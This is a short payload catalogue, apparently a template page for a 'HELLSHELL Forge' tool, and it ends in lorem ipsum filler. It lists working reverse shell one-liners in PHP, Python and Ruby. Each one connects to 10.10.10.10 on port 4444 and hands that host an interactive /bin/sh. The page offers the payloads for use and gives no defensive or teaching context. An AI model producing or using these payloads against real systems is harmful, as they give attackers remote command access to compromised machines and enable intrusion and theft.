Extended Payload Library
The following languages are supported by the HELLSHELL Forge engine for cross-platform execution:
// PHP Reverse Shell
$sock=fsockopen("10.10.10.10",4444);exec("/bin/sh -i <&3 >&3 2>&3");
# Python Reverse Shell
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
# Ruby Reverse Shell
require 'socket';f=TCPSocket.open("10.10.10.10",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis sed dapibus leo. Nec feugiat nisl pretium fusce id velit ut tortor pretium viverra.